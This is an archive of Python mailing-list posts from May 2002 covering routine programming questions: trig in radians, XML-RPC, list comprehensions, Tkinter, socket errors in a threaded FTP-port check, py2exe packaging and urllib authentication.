FM to R? :) >> >> Radians are what trig is based on. Otherwise the formula for the area >> of a circle would be 'A = 360r'; since when does a unit circle have an >> area of 360 square units? >> >> OTOH, `man 3 sin` on my system documents the sin() function of the C >> math library _is_ documented as taking radians. On a POSIX system, >> this is usually what is called by Ruby's Math.sin() method. >> >> Can you just write an additional method like >> >> def sin_d(deg) >> Math.sin(deg * Math::PI / 180) >> end >> >> ...and maybe even make it a method of the Math module itself? > This is basically what I am now doing, (although yours is more elegant.) I didn't realize that python basically called the C math function, although that makes sense. I didn't think to check that. Thanks. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81B7Ld90bcYOAWPYRAizKAKC4m5k2syn+c9xAA2M+mKmIQmZPpQCgrOzD Lp6BYYh7ZLRLDPRmOe2pxDs= =A8lE -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From brian at sweetapp.com Sun May 5 12:57:30 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sun, 5 May 2002 09:57:30 -0700 Subject: Returning Fault instances in xmlrpc In-Reply-To: <20020505183533.B1448@idi.ntnu.no> Message-ID: <008f01c1f455$f1a78650$445d4540@Dell2> > Yes, I see your point. But allowing them as return values seems a bit > strange to me then. Why would you want to return a Fault object (which > is specifically meant to represent an xmlrpc error) and have it > converted to a mapping that does not cause any errors? There is actually a case where you want this; if you are boxcaring multiple XML-RPC requests for XML-RPC multicall then you have to transmit Faults as structs inside a list. > [snip] > > I'm starting to suspect that you are being deliberately obtuse. > > Thanks. That's a nice way of discussing things. Sorry, I was just getting frustrated. > [snip] > > Using obj.__dict__ > > OK. In other words, this will not include default values inherited > from the class etc. Fair enough -- but not thoroughly documented as > far as I can see. (Yes, the code is there, I know.) And sourceforge is open for patches 24/7 :-) Cheers, Brian From jdhunter at nitace.bsd.uchicago.edu Wed May 22 12:10:05 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Wed, 22 May 2002 11:10:05 -0500 Subject: formatter output to list References: Message-ID: >>>>> "Justin" == Justin Shaw writes: Justin> Seems like option 2 is the easiest. You don't need to Justin> know any internals of AbstractWriter. It looks like the Justin> writer passes pretty small chunks. Here is the barebones Justin> example. Great -- works perfectly. I was daunted at the prospect of trying to make a list into a file object because there are a lot of file object methods that didn't make since to me in a list. But from your example, I see you don't need to do them all, just the ones that DumbWriter requires . And since the dumb writer is dumb, it doesn't need many; just 'write' Thanks, John Hunter From msdemlei at tucana.cl.uni-heidelberg.de Fri May 24 03:53:38 2002 From: msdemlei at tucana.cl.uni-heidelberg.de (Markus Demleitner) Date: 24 May 2002 07:53:38 GMT Subject: Why no open(f, "w").write()? Message-ID: (Sorry if you've already seen this -- I've posted something to this effect about a week ago and it seems it didn't make it across our news server, and at any rate not to google) The Jython docs state that open("some.name", "w").write(stuff) is bad programming practice (and indeed claim that in Jython, the above construct leaves some.name empty). Now, I can't really see what should be wrong with doing something like that. The temporaray file object generated should have a refcount of 0 after that line and close the file when being destroyed, no? I didn't delve too deep into the docs now, but IIRC refcount-based garbage collection is sort of a guarateed feature of python, isn't it? Or am I missing something else? Markus From huaiyu at gauss.almadan.ibm.com Wed May 1 13:37:31 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 1 May 2002 17:37:31 +0000 (UTC) Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: Message-ID: Delaney, Timothy wrote: >> From: huaiyu at gauss.almadan.ibm.com >> >> John Roth wrote: >> >I strongly disagree about apply(). The only use I've found for it >> >varies the function which it calls, not the parameter lists! Having >> >variable parameter lists doesn't hack it - I need the variable >> >function. >> >> >>> from math import * >> >>> a = (2.3,) >> >>> for f in [sin, cos, sqrt]: print apply(f, a) >> ... >> 0.745705212177 >> -0.66627602128 >> 1.51657508881 >> >>> for f in [sin, cos, sqrt]: print f(*a) >> ... >> 0.745705212177 >> -0.66627602128 >> 1.51657508881 > >There can be real advantages to apply being a first-class object though, >which you don't get with the syntax f(*a, **b). apply can be passed around >and used just as any callable. > >There is no way I would deprecate apply - esp. if you want code to work on >1.5.2, 2.0, 2.1, 2.2, 2.3 without change (which is still possible for most >code). I appreciate the f(*a, **b) syntax, but I think of it as an >alternative to apply, not a replacement. The example above was only meant to show that what John wanted can be achieved without apply. But of course apply does more than that. And we know that it's not going to be deprecated any way. If there was a *real* possibility that any of apply, filter, reduce ot map is going to be deprecated there'd be far more protests than we saw. Huaiyu From emile at fenx.com Tue May 14 11:17:32 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 14 May 2002 15:17:32 GMT Subject: RegEx References: Message-ID: > I have a quick regular expression question. > > I'm trying to substute all parathesis -- both left and right -- with a > space. I've tried: I'm not up on regular expressions, so I'd do: >>> s = "(1)(2)(3)(4)" >>> s.replace("("," ").replace(")"," ") ' 1 2 3 4 ' -- Emile van Sebille emile at fenx.com --------- From look at replyto.address.invalid Mon May 27 01:13:30 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Mon, 27 May 2002 17:13:30 +1200 Subject: extended list comprehensions References: Message-ID: <3CF1C079.3AF7469B@replyto.address.invalid> Andrew Dalke wrote: > > y = "prefix-" > {y=y+x for x in xs} > > But given that, if y doesn't exist before the {} is called, your > argument is that it should implicitly be set to 0. This then would > be one of the few places in Python with a default value, outside of > a function parameter definitions. Hmmm, maybe something like (y = y + x for x in xs from y = 0) Or maybe not. I think this sort of thing is just too rare to be worth a special syntax, as much fun as it may be devising one! -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From gcordova at hebmex.com Thu May 30 13:21:46 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Thu, 30 May 2002 12:21:46 -0500 Subject: Why no open(f, "w").write()? Message-ID: > > Of course, if write() returned the file object instead of nothing, > one could use something like: > > open(f, "w").write(data).close() > > but that might not be Pythonic enough (or too C++-y) for some. > > Gary Duzan > BBN Technologies > A Verizon Company > Well, subclassing is your friend! -- snip -- class File(file): def write(self, data): file.write(self, data) return self -- snip -- So now you can have your cake and eat it too. :-) Or, a "quickfile" kind of thing: -- snip -- def WriteFile(filename, mode="w", *data): f = file(filename,mode) for item in data: f.write(item) f.close() -- snip -- ta-daa. Trivial problems demand trivial solutions. -gustavo From steve at lurking.demon.co.uk Tue May 28 09:45:30 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 28 May 2002 14:45:30 +0100 Subject: Thought on PEP 204 and 276 References: Message-ID: On Mon, 27 May 2002 21:33:47 +0200, holger krekel wrote: > for i,item in enumerate(somelist): > # use item > somelist[i]=newvalue Could enumerate(dictionary) be used to extract key, value pairs from a dictionary? I realise this duplicates the items() method, but it has the advantage of creating consistency between sequence and mapping types. Also, why wasn't an items() method simply added to sequence types, treating them as mapping types with an integer key? -- Steve Horne steve at lurking.demon.co.uk From s.thuriez at laposte.net Wed May 15 13:41:34 2002 From: s.thuriez at laposte.net (sebastien) Date: 15 May 2002 10:41:34 -0700 Subject: no buffer space available error References: <83lmangql2.fsf@panacea.canonical.org> Message-ID: Hi, I have looked around to see more precisely where the problem could lay. The problem may not be directly the number of thread. I depends on the number of thread and on the sleeping time I can put in my code. The more I sleep the more threads I can open. I have simplified the program so that you can count the number of socket open at a time. 1) I have checked that all the sockets open are closed (see the code) 2) There is a direct relation between the number of socket open and the sleeping time that I use : if you open about 15 sockets at the same time it is OK as far as the time.sleep(10). 10 sockets can be open as fas as time.sleep(5) 3) Over value that does not permit to remove the NO BUFFER SPACE AVAILABLE for example 3 sockets and time.sleep(1). Below is the code to show that it is quit simple !!! I hope that someone see what goes wrong . Regards. Sebastien here is the code : ----------------------------------------------------------- import select import sys, string, os import socket import time import thread from pprint import pprint import threading import gc FTP_PORT = 21 debug=[] error_control=[] no_buffer_space_available=[] debugg2=[] not_closed=[] socket_active=[] def control(hostname): reponse='non' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(0) socket_active.append(hostname) print "connect : ",hostname try : s.connect((hostname,FTP_PORT)) except socket.error, why : debug.append((hostname,why[1])) if why[1] <> "The socket operation could not complete without blocking": print 'cannot connect...',hostname, "why = ",why[1] try : s.close() socket_active.remove(hostname) print "nb socket ",len(socket_active) except : not_closed.append(hostname) print "not closed ",not_closed print "problemes de s.close" return reponse def maine(): global identifiant_thread max_thread=25 number_thread=0 #initialisation for indice in range(1,255): #to scan the network adresse="192.168.15."+str(indice) if number_thread>max_thread: print "question_ftp_threaded : number thread > max thread :sleeping" time.sleep(10) number_thread=0 else: number_thread=number_thread+1 try : thread.start_new_thread(control,(adresse,)) except: print "probleme de lancement de threads" print not_closed file=open ("c:\debug.txt","w") for hostname, error_message in debug: file.write(hostname+ " "+error_message+"\n") file.close() print debug return def main() : debug=[] ftp_existe=[] maine() print "fin" main() ------------------------------------------------------------------------- Kragen Sitaker wrote in message news:<83lmangql2.fsf at panacea.canonical.org>... > s.thuriez at laposte.net (sebastien) writes: > > I am trying a program that [uses a lot of sockets] > > What do I do wrong ? As I get the message can I flush the buffer ? > > I am running python 2.1.1 on Windows Me and NT. > > Why don't you try running your program on a Linux machine instead? > You might run into some trouble with limits on the number of open file > descriptors, a limit you can usually increase to 1024 with the > 'ulimit' or 'limit' command. > > Also, try limiting the number of simultaneous open sockets. From jdhunter at nitace.bsd.uchicago.edu Fri May 17 13:35:36 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Fri, 17 May 2002 12:35:36 -0500 Subject: Bug in regular expressions ? References: <20020517175527.76c55aea.christophe.delord@free.fr> Message-ID: >>>>> "Christophe" == Christophe Delord writes: Christophe> So A|B and B|A are not always equivalent. When A and B Not at all. The or operator in python is a short circuit operator. If the first evaluates true, the second will not be evaluated. From google at blinker.net Mon May 27 10:13:48 2002 From: google at blinker.net (Bjoern) Date: 27 May 2002 07:13:48 -0700 Subject: Infinite Loops in CGI (Windows)? Message-ID: Hello, out of curiosity I just tried putting an infinite Loop into a CGI Skript (served under Windows 2000 with Apache2). What suprised me a bit is that python kept on using 99% of the CPU, even after I stopped Apache. Also I couldn't stop the process from the Windows Task Manager, I only got 'Access denied' (I am Administrator). Is there any other way to clean up than rebooting the machine? Is there a way at all to make shared hosting feasible? Thanks Bjoern From whisper at oz.net Wed May 22 17:15:19 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 22 May 2002 14:15:19 -0700 Subject: Embedded Python script debugger??? In-Reply-To: Message-ID: You might want to look at http://home.t-online.de/home/Ulrich.Herold/PyDIntro.htm which proclaims "now freeware"! This is a tkinter based debugger in a single .py file. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Salman Khilji > Sent: Wednesday, May 15, 2002 14:21 > To: python-list at python.org > Subject: Embedded Python script debugger??? > > > I am a Python newbie. I want to develop C++ <==> Python glue code using > SWIG. Then I want to embed the Python interpreter in my C++ application > (the main program is in my C++ application---I am not developing an > extension---rather want to embed the interpreter in my application). > > I then want to let the user run scripts using some sort of a menu > allowing > Python as a built-in scripting language of the application. The > application will expose a lot of its functionaility to Python > (the internel > data structures will be modifyable by Python so that the > power-users can do > almost anything in the aplication using the script instead of using the > GUI) The problem is that users will want to run the scripts in debug > mode---stepping line by line---stepping into, out etc. > > I looked at Komodo. Its lets you do this by adding the line: > > callkomodo.brk('localhost', 9000) > > in your Python script right before where you want to break. Komodo then > listens for debug requests on a port # 9000. When the users has > Komodo up > and running, the user can run a script using some dialog box in the > application and Komodo would gladly kick in the middle of the > python script > allowing you to run the script in debug mode. > > Well Komodo is nice, but isn't there a free open source > alternative?? Can > IDLE do this?? I prefer open-source and free software even for > commercial > applications. > > Salman > -- > http://mail.python.org/mailman/listinfo/python-list From lennybonilla at hotmail.com Sun May 19 19:36:45 2002 From: lennybonilla at hotmail.com (Lenny) Date: 19 May 2002 16:36:45 -0700 Subject: Tkinter command parameters Message-ID: <8278fed0.0205191536.1b0227d1@posting.google.com> When I try to pass an argument to a button's function, it executes the function upon loading rather than when the button is pressed. When the button is pressed nothing happens. the code is something like this: self.mybutton = Button(parent, command = func(1)) self.mybutton.grid() def func(number): print str(number) What am I doing wrong? From kragen at pobox.com Sat May 25 13:43:26 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 13:43:26 -0400 Subject: Python vs. Perl, which is better to learn? References: <3CDB3AB2.12C5680F@cosc.canterbury.ac.nz> <3CDBE586.A81BA732@fnal.gov> <6A5D8.30090$CN3.920263@news2.tin.it> Message-ID: <83y9e8jf7l.fsf@panacea.canonical.org> Alex Martelli writes: > Find-matching-paren makes short work of that. If anything, the > problems with refactoring in C++ or Java come from their horrid > choice of leaving this / self *IMPLICIT* -- so a reference to > any name X may or may not mean self.X / this->X and the poor > editor can hardly help you with THAT as you move code between > classes (or, in C++, from in-class to out-of-class)... I don't see why the editor can't help you with that --- it's statically decidable. From jb at cascade-sys.com Fri May 17 17:36:41 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 14:36:41 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: Message-ID: <3CE577E9.2FFF64DF@cascade-sys.com> "Denis S. Otkidach" wrote: > We often need a collection that is extended step-by-step avoiding > duplicates. Certainly we can use immutable sets: That's the position I took initially when first thinking about the problem. But as I thought more of it, I had to abandon 'efficiency'. In practice, I routinely manipulate immutable strings 100K long. For a lot of text processing I read the whole file into a string and whack away at it. Yup, each string replace makes a copy of the string but performance has never been an issue. > s = {-} > for item in some_sequence: > if is_good(item): > s ?= {item} # create new set if it's immutable or just > # add otherwise It's a matter of English semantics. A smart compiler/interpreter would recognize that the modify-in-place does not require that the original value of s be saved and thus modification could be performed in place and reuse the data rep. even though the language Semantics said sets were immutable. I onced worked on an APL interpreter that worked this way. You made deep copies of aggregate results on the stack only if you absolutely had to and wherever possible you reused temporary results in place. This was strictly an interpreter issue. The compiler didn't even have to know. 'Language semantics' were essentially that everything was immutable. > but such code will be too expensive for large sets. > If we write similar code for strings we'll use StringIO (consider > it's some kind of mutable string) or intermidiate list (and join > items afterwards). Collecting in list is OK with sets too if we > don't need intermediate results as sets. But what about StringIO > equivalent for sets? Other immutable types are not agregates > (except complex numbers, but this is a special case) and we need > not mutable form for them. IF the proposal on the table is (a) sets are immutable but (b) we also have a SetIO library function that allows us to manipulate them as if they were mutable THEN I wholeheartedly agree. IF you're saying the base implementation of sets MUST be mutable because of performance reasons, then I don't get it, as it seems there are a variety of solutions to minimize the performance issue (which is very small for most practical applications in the first place). Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From kragen at pobox.com Mon May 20 20:29:00 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 20:29:00 -0400 Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> Message-ID: <83bsbapcmr.fsf@panacea.canonical.org> "Max" writes: > (i just started using it), so i asked if anybody already has a solution, or > the list of modules gadfly relies upon... to trace the import chain... sys.modules.keys() From bsouthey at bigfoot.com Wed May 29 17:02:20 2002 From: bsouthey at bigfoot.com (Bruce Southey) Date: Wed, 29 May 2002 16:02:20 -0500 Subject: authentication and urllib help wanted Message-ID: <3CF541DC.3B77F4DA@bigfoot.com> Hi, I am currently using urllib (Python 2.1 under Linux) in cgi script as: opened_url=urllib.urlopen('http://username:password at some_site','params') When the username/password is incorrect, urllib (actually FancyURLopener) requests for username and password. I would like to avoid this request so to trap any incorrect username/password combinations. Thanks for any assistance, Bruce Southey From rjones at ekit-inc.com Tue May 28 18:08:53 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Wed, 29 May 2002 08:08:53 +1000 Subject: Again: gadfly + py2exe HELP really needed In-Reply-To: References: Message-ID: <200205290808.53906.rjones@ekit-inc.com> On Wed, 29 May 2002 01:06, Gordon McMillan wrote: > Max wrote: > > [snip] > > > Nice idea, i tried but still have no good results... > > I've seen no indication you saw my earlier post, so > I'll try again. > > gadfly has a runtime dependency on a file which *not* > a .py file, and is *not* imported. It is read using > marshal, and it contains the SQL grammar. Gadfly has been reworked to *not* use a special marshal file. All gadfly imports are of python modules. Some are at runtime, since there's still circular imports that I have yet to remove. > I haven't used gadfly in a couple years ... so I'll forgive you for making false claims :) Richard From whisper at oz.net Thu May 9 17:39:23 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 9 May 2002 14:39:23 -0700 Subject: Python Service In-Reply-To: <3cdae0c5$1@news.nz.asiaonline.net> Message-ID: I think python-win has such a utility. I'm pretty sure that there's some python thing that will support this. I think Zope might use it to run Zope as a service. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Colin Brown > Sent: Thursday, May 09, 2002 13:47 > To: python-list at python.org > Subject: Re: Python Service > > > "Q" wrote in message > news:QIfC8.129$lc.32 at nwrddc03.gnilink.net... > > I want to convert a Python Script to run as an NT Service. > ... > > Can anyone provide ideas? > > > > Thanks. > > Hi Q > > I have been using a commercial product "ServiceMill" available from > www.activeplus.com to run Python and Delphi applications as NT > Services with > no problems. > > Colin Brown > PyNZ > > > > -- > http://mail.python.org/mailman/listinfo/python-list From henk.derudder at barconet.com Thu May 16 02:15:24 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Thu, 16 May 2002 06:15:24 GMT Subject: Registering PythonCOM22.dll fails? References: <3ce26bc3.709282671@news.skynet.be> <3CE2ED59.4040508@skippinet.com.au> Message-ID: <3ce34d31.766991281@news.skynet.be> On Wed, 15 May 2002 23:19:52 GMT, Mark Hammond wrote: >henk.derudder at barconet.com wrote: >> Hi, >> >> I am trying to register PythonCOM22.dll through regsvr32.exe. I get >> the eroormessage that DllRegisterServer is not exported. Using the >> dependency walker learns me that this is indeed the case, however >> DllRegisterServerEx *is* exported. Any idea how I can get this dll >> registered? > >This DLL can not be registered with regsvr32. DllRegisterServerEx() was >for an obscure feature of regsvr32 that never turned out to be useful ( >the idea was you could say "regsvr32 myfile.py" and have it register.) > >Why do you think you need to register it? I am trying to prepare an unattended installation of the Python runtime environment. Therefore I need to a) copy the binaries into the appropriate directories b) set the registry As PythonCOM22.dll is a COM object I thought to let it register through regsvr32 (registering it manually by setting all ProgID, AppID, and so on by hand was too tedious and cumbersome). Please note that at the time I want to let that dll register, the runtime environment is not installed yet, so letting the .py file execute istself to register will be hard I guess > You register Python COM >objects by executing the .py file that implements the object, not by >using regsvr32.exe. > >Mark. > From aahz at pythoncraft.com Tue May 28 23:29:36 2002 From: aahz at pythoncraft.com (Aahz) Date: 28 May 2002 23:29:36 -0400 Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: In article , Jeff Epler wrote: > >Why not abuse the 'for' statement, since it performs an assignment to a >user-determined name? > >Instead of > x = v > if x: > ... >you can write > for x in G(v): > ... > >and instead of > while 1: > x = f() > if not x: break > ... >you can write > for x in H(f): > ... This isn't abuse; this was precisely the intention of creating iterators and generators. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From bokr at oz.net Thu May 16 19:52:47 2002 From: bokr at oz.net (Bengt Richter) Date: 16 May 2002 23:52:47 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: On 15 May 2002 16:04:05 -0700, spam at bugbear.com (Paul Graham) wrote: >> You can't directly translate that. Access to variable of enclosing >> scopes is read only (except in the case of global statements, but that >> doesn't help here). > >It looks as if the closest thing would be something like this, >which a Python expert sent me: > >def foo(n): > s = [n] > def bar(i): > s[0] += i > return s[0] > return bar > >Although you can't modify variables from outer scopes, you can >modify *parts* of them (which to me seems like the same thing...) > >The reason this problem seems kind of artificial is that I don't >need to solve this actual problem. I heard that recent Python >versions had added more support for lexical closures, and was >curious how well Python works for the type of programming in >Structure and Interpretation of Computer Programs; this is kind >of a hello_world of that genre. (It's not a homework problem, >I swear.) > >Incidentally, here is Perl 5 code someone sent me for this case: > >sub foo { > my ($n) = @_; > return sub {return $n += $_[0]}} > >>> foo = lambda y:([x for x in [[y]]], (lambda: (x.append(x.pop()+1),x[0])[1]))[1] >>> f=foo(20) >>> f() 21 >>> f() 22 >>> f=foo(-4) >>> [f() for x in 'x'*7] [-3, -2, -1, 0, 1, 2, 3] ;-) Regards, Bengt Richter From Peter.Gilbert at uwe.ac.uk Mon May 20 09:37:36 2002 From: Peter.Gilbert at uwe.ac.uk (Pete Gilbert) Date: Mon, 20 May 2002 13:37:36 GMT Subject: Python Usage References: <3CE85F6D.65E4AAD@tundraware.com> Message-ID: Tim Daneliuk writes: > "cddlens at yahoo.com" wrote: > > > > I'm currently investigating Python for potential > > company adoption, and it seems to be quite powerful. > > I have some fundamental questions however: > > > > Is Python commonly used throughout an enterprise (such > > as within IT, MIS) for script generation, or mostly by > > software groups and teams that have dedicated > > programmers writing full-blown applications? Is often > > used by system managers as a replacement for batch > > files or multiplatform scripting? Is it more common > > within software/technology organizations or within > > other sectors such as financial and manufacturing? > > > > I am relatively new to Python but have a fair bit of experience > in industry, so take these observations in that context: > > 1) perl is probably more common as a scripting tool and so too is VB script. > But, perl is (or can be) a maintenance headache and VBS is missing > some essential features such as cross-platform support and regular > expression handling. Python, IMO, is starting to get a lot of buzz > in this community and is on the upswing. > > 2) Judging from the posts here and snooping around the web, it seems clear > that Python is very popular in communities where computing is essential, > but not the central element of the work. Examples include scientific > applications, reducing and analyzing large data sets, data conversion, > and so on. > > > > ------------------------------------------------------------------------ > Tim Daneliuk > tundra at tundraware.com Whilst VBS doesn't have cross-platform support, it does now have regular expression handling. We use VBS here at UWE, and have now replaced the use of batch files and tools like Kix on new PC's (although these are still used in login scripts to provide support for our many thousand NT4 users) . I am trying to get people interested in using Python, however, but it is an uphill struggle - having just switched to VBS. I am not giving up though, and I will eventually find a niche that only Python will fill, then it will get a foothold. Pete -- Pete Gilbert UWE, Bristol A man who walks to the top of a hill and then doesn't turn round to look at the view is a fool. From paul at boddie.net Thu May 16 05:32:52 2002 From: paul at boddie.net (Paul Boddie) Date: 16 May 2002 02:32:52 -0700 Subject: Beginner: HTML Parsing References: Message-ID: <23891c90.0205160132.6afd1474@posting.google.com> "J. David Lashar" wrote in message news:... > As a beginner, I'm working through the O'Reilly books mentioned in an > earlier posting, but I haven't found much guidance on parsing an HTML file > once I've pulled it down with httplib. And I'm finding the Python Library > Reference to be a bit cryptic. Could someone point to resources or provide > examples? Take a look at this document: http://www.boddie.org.uk/python/HTML.html And I'm sure that Dive Into Python is even more useful on this subject: http://www.diveintopython.org/dialect_divein.html Paul From shagshag13 at yahoo.fr Fri May 10 03:45:15 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 10 May 2002 00:45:15 -0700 Subject: list, object and matching... Message-ID: <409a56e2.0205092345.82b891f@posting.google.com> Hello, Newbie in python, not fluent in english... Having a class with, for example, 3 private attributes a, b, c. Having a python list (or maybe something which inherits from it) which contains objects from this class. How can i do to have : - objecti == objectj only if attribute a and b are equal (c doesn't need to be checked) - list.index(objectk) => searching for an object contained in list but which match only attribute a and b Thanks in advance... From erict at millfilm.co.uk Thu May 16 04:33:34 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Thu, 16 May 2002 09:33:34 +0100 Subject: compile error in building wxPython References: <3CE29730.946349BD@millfilm.co.uk> <831ycd5cwc.fsf@panacea.canonical.org> Message-ID: <3CE36EDE.BBED2B19@millfilm.co.uk> Yes I know there is a version problem, because I couldn't uncompress the right wxGTK. But the use of wx-config is the setup is only to tell where to find the gl lib. I will try today to get a wxGTK that I can uncompress Thanks Kragen Sitaker wrote: > Eric Texier writes: > > % python setup.py build > [...] > > Preparing GLCANVAS... > > Usage: wx-config [--prefix[=DIR]] [--exec-prefix[=DIR]] [--version] > > [--libs] [--cppflags] [--cflags] [--cxxflags] > > [--cc] [--cxx] [--ld] > > > > wx-config returns configuration information about the installed > > version of wxWindows. It may be used to query its version and > > installation directories and also retrieve the C and C++ compilers > > and linker which were used for its building and the corresponding > > flags. > > Preparing OGL... > [...] > > src/helpers.cpp: In function `PyObject *wxPyMake_wxObject (wxObject *, > > bool)': > > src/helpers.cpp:318: no matching function for call to > > `wxEvtHandler::GetClientObject ()' > > src/helpers.cpp:339: no matching function for call to > > `wxEvtHandler::SetClientObject (wxPyClientData *&)' > [...] > > I don't know much about wxWindows or wxPython, but it appears that > you're building with a different version of wxWindows than wxPython > expects, probably an older one. Could it be that the wx-config in > your PATH is not the one for the right version of wxWindows? From claird at starbase.neosoft.com Thu May 30 08:46:37 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 30 May 2002 07:46:37 -0500 Subject: [newbie] Is Python what I'm looking for? References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Message-ID: <051B1AAB536B58D2.220EFDB66B29A71B.4CE07A46EDF42CFB@lp.airnews.net> In article , Cameron Laird wrote: >In article <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2 at 4ax.com>, >Giulio Cespuglio wrote: >>Hi there, >> >>My aim is to automatically get specific pieces of information from a >>website, simulating the behaviour of a user filling in HTML forms and >>clicking buttons (a web robot?), then embed them in my HTML page. . . . >>Can you think of a better way of doing this? Another scripting >>language perhaps? > . > . > . >Python's a fine language to use for such automations. >While there are also special-purpose ones that make >such chores even easier, they're available only with >stiff license fees. . . . A private correspondent asked about the state-of-the-art in spidering. I don't know. I know Perl's libwww has been and remains popular, and I know that a lot of people "roll" their own from rather low-level materials, including libwww and various Python modules. I have a soft spot for the commercial NQL product , and Sash ought to be great in this role, although I haven't used it so. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From kingprad at mail.com Wed May 8 17:19:40 2002 From: kingprad at mail.com (Carl) Date: Wed, 8 May 2002 16:19:40 -0500 Subject: won't recognize functions in script Message-ID: <3cd9958d@news.cc.umr.edu> I've never had this problem before and I've been using ActivePython for months on XP with no problems (except its inability to control-break running programs...). I'm writing a simple text file processing program which at this stage just is reading characters and getting their ascii values. When I define functions python gives me 'NameError: name 'ascii_val' is not defined' this piece of my code is this: print ch, ascii_val(ch) # ch is just a character read from a file def ascii_val(char): # returns 1-26 for A-Z or 27 for a space x = ord(char) - 96 if x == -64: return 27 else: assert(x >= 1 and x<=26) return x and it gives me the NameError. It does this with _all_ of my def functions. I've tried changing their names, locations in the file, moving everything to a new file, exiting and restarting, rebooting. When I quickly write a generic program to see if a def function works there are no problems, and all my old programs work. Can anyone guess what's happening? Thanks for any help you can offer! Carl Scharenberg kingprad at mail.com From kragen at pobox.com Tue May 14 00:13:00 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 00:13:00 -0400 Subject: How to get class's name on runtime? References: <3CDA87E0.A9A9737D@ingenta.com> Message-ID: <83wuu7icz7.fsf@panacea.canonical.org> Christopher Myers writes: > Christopher Myers wrote: > > Anyone know how I can get a reference to an anonymous widget created on > > the fly? winfo_children? From aleax at aleax.it Mon May 13 18:21:18 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 22:21:18 GMT Subject: beginner question: extending python types References: Message-ID: Uwe Mayer wrote: ... > I want to force certain parameters of methods to be of a specific type, If you really want this, you chose the wrong language. Most languages devote substantial amounts of mechanism to such 'bondage' issues. Python distinguishes itself from by far most languages by NOT doing this, which is from where much of its extra power comes -- from where much of the incredible productivity boost it gives programmers comes. But if you want to do this, in Python you're "fighting city hall", going against the grain of the language. Choose another. I recommend Haskell, whose typing system is really wonderful. You'll get compile time checking of your types, exactly as strong or weak as you want it to be. Choosing Python and then going typechecking will reduce or countermand Python's productivity gain AND still never get as far nor as deep as a statically-checking language would -- a _good_ one, at least (forget the mishmash mis-called a "type system" in such languages as C++ or Java -- go for Haskell, or ML in some variant or other). I don't think you _need_ this typechecking, though I can't know your situation enough to be sure. But whether you need it or not, if you're going to use it, drop Python in favour of some statically-typechecked functional language with a good typesystem. This is my advice. Alex From cliechti at gmx.net Wed May 22 17:44:39 2002 From: cliechti at gmx.net (Chris Liechti) Date: 22 May 2002 23:44:39 +0200 Subject: Popen confusion. References: <3cec0da5.14728828@nntp.interaccess.com> Message-ID: olczyk at interaccess.com (Thaddeus L. Olczyk) wrote in news:3cec0da5.14728828 at nntp.interaccess.com: > I need to spawn a process in such a way that I have access to three > pipes ( the usual suspects ) and am able to retrieve the return > status. > The python documentation is very confusing about this. > Can anyone help? > http://python.org/doc/current/lib/os-newstreams.html says: """ popen3(cmd[, mode[, bufsize]]) Executes cmd as a sub-process. Returns the file objects (child_stdin, child_stdout, child_stderr). """ i think the return value of child_stdout.close() is the exit code. however you can also use the popen2 module which has additional functionality: http://python.org/doc/current/lib/module-popen2.html and http://python.org/doc/current/lib/popen3-objects.html chris -- Chris From wurmy at earthlink.net Tue May 28 20:34:41 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Wed, 29 May 2002 00:34:41 GMT Subject: Tkinter: Text widget and fixed-width fonts Message-ID: <3CF4234C.F1E1E1C4@earthlink.net> Howdy y'all, I wanted to use the Tkinter Text widget to display text in a fixed width font, assuming that lines with an equal number of characters would also have equal length. E.g. a line of "." * 40 should have the same length as "M" * 40. While this works for "regular" characters, it doesn't seem to work for special characters (possibly ASCII >= 128). Some code: font = tkFont.Font(family="FixedSys", size=8) text.tag_configure('normal', font=font) line1 = chr(252) * 80 + "\n" line2 = "W" * 80 + "\n" 